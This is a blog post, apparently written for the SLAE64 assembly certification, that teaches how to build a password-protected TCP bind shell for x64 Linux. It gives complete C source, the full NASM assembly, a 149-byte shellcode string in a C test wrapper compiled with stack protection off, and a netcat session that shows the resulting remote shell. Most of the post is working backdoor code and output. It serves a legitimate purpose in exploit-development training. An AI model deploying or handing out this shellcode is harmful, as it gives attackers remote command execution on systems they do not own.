Creating password protected TCP bind shell shellcode (x64)

This blog post describes manual creating of password protected TCP bind shell shellcode on Intel 64-bit architecture and Linux platform.

We will start with following C code.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <string.h>

int main()
{
    // 1. Create socket
    int listen_socket_fd = socket(AF_INET, SOCK_STREAM, 0);

    // 2. Bind socket
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5050);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(listen_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

    // 3. Set socket into passive listening mode
    listen(listen_socket_fd, 0);

    // 4. Handle incoming connection
    int connected_socket_fd = accept(listen_socket_fd, NULL, NULL);

    // 5. Duplicate stdin, stdout and stderr file descriptors
    dup2(connected_socket_fd, STDIN_FILENO);
    dup2(connected_socket_fd, STDOUT_FILENO);
    dup2(connected_socket_fd, STDERR_FILENO);

    // 6. Check password
    char buf[16];
    char password[] = "somesecret";
    read(connected_socket_fd, buf, 16);
    buf[strcspn(buf, "\n")] = 0;
    if (strcmp(password, buf) == 0)
    {
        // 7. Spawn shell
        execve("/bin/sh", NULL, NULL);
    }
}

Bind shell C code analysis

  1. Call to socket() creates a connection socket(1) and returns file descriptor(2) which identifies this socket later on. First argument selects the protocol family which will be used for communication – AF_INET stands for IPv4 Internet Protocols. Second argument specifies the communication semantics – SOCK_STREAM is full-duplex byte stream supported by AF_INET family. Third argument is specific protocol defined in /etc/protocols.
  2. Call to bind() assigns name (address, port) to the socket. First argument is file descriptor from socket() call. Second argument is structure with protocol family, port and IP. Note that IP is set to INADDR_ANY which makes socket listening on any interface. In other words INADDR_ANY=0.0.0.0. Third argument is just size of sockaddr_in structure in bytes.
  3. Call to listen() sets the socket into passive listening mode which means that the socket will use accept() to handle incoming connections. First argument is socket file descriptor and second argument is the maximum length to which the queue of pending connections may grow.
  4. Call to accept() extracts the connection request on the listening socket, creates a new connected socket and returns a new file descriptor referring to that socket. First argument is listening socket file descriptor. Second and third arguments are used for passing custom sockaddr structure if passed file descriptor doesn’t point to valid sockaddr structure yet.
  5. dup2() call binds current process’ stdin, stdout, stderr file descriptors with connected socket file descriptor hence any data from outside coming into connected socket are treated as stdin. Similarly any data generated by current process which would go to stdout or stderr go out to the connected socket.
  6. 16 bytes are allocated for incoming data (password). Valid password is hardcoded into password variable. read() call waits for incoming data on given socket. Data received are saved into buf and compared to password string.
  7. After successful comparison in strcmp() the call to execve() system call spawns shell in current process. First argument is path to executable. Second argument points to executable arguments and third argument points to environment variables.

Converting C to Assembly

C code must be rewritten by means of pure system calls(3) so let’s translate functions in the C code into system calls. Before we do so it will be convenient to figure out values and sizes of variables used in C code. We can inspect header files or documentation but I will use C code to print out all needed values and sizes.

// File: printVariables.c
// Author: Petr Javorik

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <string.h>

int main()
{
    printf("AF_INET= 0x%1$x (%1$d)\n", AF_INET);
    printf("SOCK_STREAM= 0x%1$x (%1$d)\n", SOCK_STREAM);
    printf("INADDR_ANY= 0x%1$x (%1$d)\n", INADDR_ANY);

    printf("STDIN_FILENO= 0x%1$x (%1$d)\n", STDIN_FILENO);
    printf("STDOUT_FILENO= 0x%1$x (%1$d)\n", STDOUT_FILENO);
    printf("STDERR_FILENO= 0x%1$x (%1$d)\n", STDERR_FILENO);

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5051);
    addr.sin_addr.s_addr = INADDR_ANY;
    printf("sizeof(sockaddr_in)= 0x%1$zx (%1$zd)\n", sizeof(addr));
    printf("sizeof(addr.sin_family)= 0x%1$zx (%1$zd)\n", sizeof(addr.sin_family));
    printf("sizeof(addr.sin_port)= 0x%1$zx (%1$zd)\n", sizeof(addr.sin_port));
    printf("sizeof(addr.sin_addr.s_addr)= 0x%1$zx (%1$zd)\n", sizeof(addr.sin_addr.s_addr));
}

Compiling and running this code we get

$ gcc -o printVariables printVariables.c && ./printVariables 
AF_INET= 0x2 (2)
SOCK_STREAM= 0x1 (1)
INADDR_ANY= 0x0 (0)
STDIN_FILENO= 0x0 (0)
STDOUT_FILENO= 0x1 (1)
STDERR_FILENO= 0x2 (2)
sizeof(sockaddr_in)= 0x10 (16)
sizeof(addr.sin_family)= 0x2 (2)
sizeof(addr.sin_port)= 0x2 (2)
sizeof(addr.sin_addr.s_addr)= 0x4 (4)

Now we can proceed to converting C code to assembly step by step.

// 1. Create socket

int listen_socket_fd = socket(AF_INET, SOCK_STREAM, 0);

AF_INET and SOCK_STREAM values are already known. Good news – unlike on x86 Linux platform the x64 Linux kernel offers call to socket() directly so we don’t have to juggle with socketcall() kernel function. From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

define __NR_socket             41

We have all needed values which need to be stuffed into registers.

global _start

section .text

_start:

    jmp short real_start
    pwd: db "somepass"      ; strictly 8 bytes

real_start:

    ; Prepare NULL for later use
    xor r9, r9

    ; // 1. Create socket
    ; int socket(int domain, int type, int protocol);
    ; int socket(AF_INET, SOCK_STREAM, 0);
    ; int socket(2, 1, 0);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    push 41
    pop rax         ; syscall number
    push 2
    pop rdi         ; AF_INET = 2
    push 1
    pop rsi         ; SOCK_STREAM = 1
    imul rdx, r9    ; protocol = 0
    syscall         ; invoke system call
    mov rdi, rax    ; save file descriptor for later use
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = fd number
    ; RDX = 0
    ; RDI = fd number
    ; RSI = 1
    ; R9  = 0

// 2. Bind socket

struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = INADDR_ANY;
bind(listen_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

We already know that AF_INET = 2, INADDR_ANY = 0 and sizeof(addr) = 16. htons() converts byte order of a number to network byte order which is in big-endian format. So 5050 is 0x13BA in little-endian and 0xBA13 in big-endian. From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

define __NR_bind                49

Assembly for // 2. Bind socket block can be rewritten as follows:

; // 2. Bind socket
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; int bind(RDI, {2, 0xba13, 0}, 16);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 49
pop rax             ; syscall number
                    ; fd number already set in RDI

push r9             ; (addr struct) 8 bytes zero padding
push r9             ; (addr struct) push INADDR_ANY
push word 0xba13    ; (addr struct) push htons(5050)
push word 2         ; (addr struct) push AF_INET

mov rsi, rsp        ; RSI points to addr struct
add rdx, 16         ; RDX contains sizeof(addr)
syscall             ; invoke system call
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0 | -1 (success | error)
; RDX = 16
; RDI = fd number
; RSI = addr struct
; R9 = 0

// 3. Set socket into passive listening mode

listen(listen_socket_fd, 0);

From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

define __NR_listen                50

Assembly for // 3. Set socket into passive listening mode block can be rewritten as follows:

; // 3. Set socket into passive listening mode
; int listen(listen_socket_fd, int backlog);
; int listen(RDI, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 50
pop rax         ; syscall number
                ; fd number already set in RDI
imul rsi, r9    ; zeroing RSI
syscall         ; invoke system call
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0 | -1 (success | error)
; RSI = 0
; RDI = fd number
; RDX = 16
; R9 = 0

// 4. Handle incoming connection

int connected_socket_fd = accept(listen_socket_fd, NULL, NULL);

From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

define __NR_accept                43

Assembly for // 4. Handle incoming connection block can be rewritten as follows:

; // 4. Handle incoming connection
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; int accept(RDI, 0, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 43
pop rax         ; syscall number
                ; fd number already set in RDI
                ; RSI already set to 0
sub rdx, 16     ; zeroing RDX
syscall
mov rdi, rax    ; save new file descriptor for later use
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = new fd number
; RDI = new fd number
; RSI = 0
; RDX = 0

// 5. Duplicate stdin, stdout and stderr file descriptors

dup2(connected_socket_fd, STDIN_FILENO);
dup2(connected_socket_fd, STDOUT_FILENO);
dup2(connected_socket_fd, STDERR_FILENO);

From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

define __NR_dup2 33

Assembly for // 5. Duplicate stdin, stdout and stderr file descriptors block can be rewritten as follows:

; // 5. Duplicate stdin, stdout and stderr file descriptors
; int dup2(int oldfd, int newfd);
; int dup2(RDI, 2);
; int dup2(RDI, 1);
; int dup2(RDI, 0);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
add rsi, 2      ; counter and newfd argument at once
loop:
    push 33
    pop rax         ; syscall number
    syscall
    dec rsi         ; next fd number
    jns loop        ; jmp to loop if rsi >= 0, jump not sign
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = 0
; RDI = new fd number
; RSI = -1
; RDX = 0

// 6. Check password

char buf[16];
char password[] = "somesecret";
read(connected_socket_fd, buf, 16);
buf[strcspn(buf, "\n")] = 0;
if (strcmp(password, buf) == 0)
{

}

This C stub consists of following operations:

  • save password “somesecret” into process memory (see step 1)
  • save data passed by remote client into the stack
  • compare these two strings

From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

define __NR_read 0

Assembly for // 6. Check password block can be rewritten as follows:

; // 6. Check password
; ssize_t read(int fd, void *buf, size_t count);
; ssize_t read(RDI, RSP, 8);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; read
                    ; RDX already set to syscall number 0
                    ; RDI already set
push r9             ; reserve 8 null bytes in stack
mov rsi, rsp        ; point rsi to buffer in stack
add rdx, 8          ; read 8 bytes
syscall

; compare
mov rax, [rel pwd]  ; load password into RAX
mov rdi, rsi        ; point RDI to data from client
scasq               ; compare RAX and [RDI]
jne exit            ; skip spawning shell if strings don't match
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Registers state after syscall
; RAX = password string from .text memory
; RDI = RSI+8
; RSI = address of passed password
; RDX = 8
...
...
...
; jump here if wrong password
; this stub is located at the end of the file
exit:

    ; void exit(int status);
    push 60
    pop rax
    syscall

// 7. Spawn shell

execve("/bin/sh", NULL, NULL);

We will execute /bin/sh via stack technique. From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we get

#define __NR_execve 59

Assembly for // 7. Spawn shell block can be rewritten as follows:

; // 7. Spawn shell
; int execve(const char *filename, char *const argv[], char *const envp[]);
; int execve(                       // system call number 59 -> RAX = 59
;       const char *filename,       // RDI points to "/bin/bash" terminated by NULL
;       char *const argv[],         // RSI points to "/bin/bash" address terminated by NULL
;       char *const envp[]          // RDX contains NULL
; );
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push r9                     ; First NULL push
mov rbx, 0x68732f2f6e69622f ; >>> '/bin//sh'[::-1].encode('hex')
push rbx
mov rdi, rsp                ; store /bin//sh address in RDI
push r9                     ; Second NULL push
mov rdx, rsp                ; set RDX
push rdi                    ; Push address of /bin//sh
mov rsi, rsp                ; set RSI
push 59                     ; syscall number
pop rax
syscall                     ; Call the Execve syscall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Final assembly code

; File: bindshell.nasm
; Author: Petr Javorik
; Size: 149 bytes
; 8 byte password

global _start

section .text

_start:

    jmp short real_start
    pwd: db "somepass"      ; strictly 8 bytes

real_start:

    ; Prepare NULL for later use
    xor r9, r9

    ; // 1. Create socket
    ; int socket(int domain, int type, int protocol);
    ; int socket(AF_INET, SOCK_STREAM, 0);
    ; int socket(2, 1, 0);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    push 41
    pop rax         ; syscall number
    push 2
    pop rdi         ; AF_INET = 2
    push 1
    pop rsi         ; SOCK_STREAM = 1
    imul rdx, r9    ; protocol = 0
    syscall         ; invoke system call
    mov rdi, rax    ; save file descriptor for later use
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = fd number
    ; RDX = 0
    ; RDI = fd number
    ; RSI = 1
    ; R9  = 0

    
    ; // 2. Bind socket
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; int bind(RDI, {2, 0xba13, 0}, 16);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    push 49
    pop rax             ; syscall number
                        ; fd number already set in RDI

    push r9             ; (addr struct) 8 bytes zero padding
    push r9             ; (addr struct) push INADDR_ANY
    push word 0xba13    ; (addr struct) push htons(5050)
    push word 2         ; (addr struct) push AF_INET

    mov rsi, rsp        ; RSI points to addr struct
    add rdx, 16         ; RDX contains sizeof(addr)
    syscall             ; invoke system call
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = 0 | -1 (success | error)
    ; RDX = 16
    ; RDI = fd number
    ; RSI = addr struct
    ; R9 = 0


    ; // 3. Set socket into passive listening mode
    ; int listen(listen_socket_fd, int backlog);
    ; int listen(RDI, 0);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    push 50
    pop rax         ; syscall number
                    ; fd number already set in RDI
    imul rsi, r9    ; zeroing RSI
    syscall         ; invoke system call
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = 0 | -1 (success | error)
    ; RSI = 0
    ; RDI = fd number
    ; RDX = 16
    ; R9 = 0


    ; // 4. Handle incoming connection
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; int accept(RDI, 0, 0);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    push 43
    pop rax         ; syscall number
                    ; fd number already set in RDI
                    ; RSI already set to 0
    sub rdx, 16     ; zeroing RDX
    syscall
    mov rdi, rax    ; save new file descriptor for later use
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = new fd number
    ; RDI = new fd number
    ; RSI = 0
    ; RDX = 0


    ; // 5. Duplicate stdin, stdout and stderr file descriptors
    ; int dup2(int oldfd, int newfd);
    ; int dup2(RDI, 2);
    ; int dup2(RDI, 1);
    ; int dup2(RDI, 0);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    add rsi, 2      ; counter and newfd argument at once
    loop:
        push 33
        pop rax         ; syscall number
        syscall
        dec rsi         ; next fd number
        jns loop        ; jmp to loop if rsi >= 0, jump not sign
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = 0
    ; RDI = new fd number
    ; RSI = -1
    ; RDX = 0


    ; // 6. Check password
    ; ssize_t read(int fd, void *buf, size_t count);
    ; ssize_t read(RDI, RSP, 8);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; read
                        ; RDX already set to syscall number 0
                        ; RDI already set
    push r9             ; reserve 8 null bytes in stack
    mov rsi, rsp        ; point rsi to buffer in stack
    add rdx, 8          ; read 8 bytes
    syscall

    ; compare
    mov rax, [rel pwd]  ; load password into RAX
    mov rdi, rsi        ; point RDI to data from client
    scasq               ; compare RAX and [RDI]
    jne exit            ; skip spawning shell if strings don't match
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; Registers state after syscall
    ; RAX = password string from .text memory
    ; RDI = RSI+8
    ; RSI = address of passed password
    ; RDX = 8


    ; // 7. Spawn shell
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    ; int execve(                       // system call number 59 -> RAX = 59
    ;       const char *filename,       // RDI points to "/bin/bash" terminated by NULL
    ;       char *const argv[],         // RSI points to "/bin/bash" address terminated by NULL
    ;       char *const envp[]          // RDX contains NULL
    ; );
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    push r9                     ; First NULL push
    mov rbx, 0x68732f2f6e69622f ; >>> '/bin//sh'[::-1].encode('hex')
    push rbx
    mov rdi, rsp                ; store /bin//sh address in RDI
    push r9                     ; Second NULL push
    mov rdx, rsp                ; set RDX
    push rdi                    ; Push address of /bin//sh
    mov rsi, rsp                ; set RSI
    push 59                     ; syscall number
    pop rax
    syscall                     ; Call the Execve syscall
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; part of // 6. Check password
    ; jump here if wrong password
    exit:

        ; void exit(int status);
        push 60
        pop rax
        syscall

Compiling and testing assembly code

Compile .nasm file into object file(4)

$ nasm -f elf64 -o bindshell.o bindshell.nasm

Create binary file from object file

$ ld -o bindshell bindshell.o

Check for null bytes(5)

$ objdump -M intel -d bindshell | grep " 00"

Extract shellcode from binary

$ for i in $(objdump -d bindshell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

We got 149 bytes shellcode. Let’s insert extracted shellcode into testing C wrapper

// shellcode.c
// Shellcode testing wrapper

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x08\x73\x6f\x6d\x65\x70\x61\x73\x73\x4d\x31\xc9\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x49\x0f\xaf\xd1\x0f\x05\x48\x89\xc7\x6a\x31\x58\x41\x51\x41\x51\x66\x68\x13\xba\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x49\x0f\xaf\xf1\x0f\x05\x6a\x2b\x58\x48\x83\xea\x10\x0f\x05\x48\x89\xc7\x48\x83\xc6\x02\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x41\x51\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x8b\x05\x97\xff\xff\xff\x48\x89\xf7\x48\xaf\x75\x1e\x41\x51\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05";

main()
{
        printf("Shellcode Length:  %zd\n", strlen(code));
        int (*CodeFun)() = (int(*)())code;
        CodeFun();
}

Compile testing C code without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Executing shellcode we get password protected bind shell on port 5050

$ ./shellcode
Shellcode Length: 149
...
$ nc localhost 5050
somepass
whoami
maple

(1) A socket is a pseudo-file that represents a network connection. Once a socket has been created and configured – writes to the socket are turned into network packets that get sent out or data received from the network can be read from the socket.

(2) In Unix and related computer operating systems, a file descriptor is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket. Each Unix process (except perhaps a daemon) should expect to have three standard POSIX file descriptors, corresponding to the three standard streams: stdin, stdout, stderr.

(3) The system call is the fundamental interface between an application and the Linux kernel.

(4) Object file contains low level instructions which can be understood by the CPU. That is why it is also called machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. Object file is not directly executable.

(5) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE64 – 1629

Leave a Reply